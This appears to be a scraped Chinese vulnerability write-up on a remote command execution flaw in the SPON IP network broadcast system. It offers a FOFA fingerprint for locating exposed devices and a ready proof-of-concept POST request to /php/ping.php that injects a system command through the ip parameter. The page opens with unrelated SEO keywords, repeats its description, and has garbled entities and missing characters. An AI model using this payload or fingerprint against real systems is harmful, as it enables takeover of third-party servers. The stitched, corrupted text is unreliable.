清流县建设局网站,如何介绍网站建设公司,海南网警网上报警平台,淘宝网络推广怎么做漏洞描述
SPON世邦IP网络广播系统采用的IPAudio™技术, 将音频信号以数据包形式在局域网和广域网上进行传送#xff0c;是一套纯数字传输的双向音频扩声系统。传统广播系统存在的音质不佳#xff0c;传输距离有限#xff0c;缺乏互动等问题。该系统设备使用简便#xff0c…漏洞描述
SPON世邦IP网络广播系统采用的IPAudio™技术, 将音频信号以数据包形式在局域网和广域网上进行传送是一套纯数字传输的双向音频扩声系统。传统广播系统存在的音质不佳传输距离有限缺乏互动等问题。该系统设备使用简便只需将终端接入计算机网络即可构成功能强大的数字广播系统每个接入点无需单独布线实现计算机网络、数字视频监控、公共广播的多网合一。其存在RCE漏洞攻击者可通过此漏洞执行系统命令进而控制服务器 漏洞复现
FOFA
icon_hash-1830859634
POC
POST /php/ping.php HTTP/1.1
Host:
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9,en;q0.8,en-GB;q0.7,en-US;q0.6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48jsondata%5Btype%5D123jsondata%5Bip%5Dipconfig
bp 成功执行命令
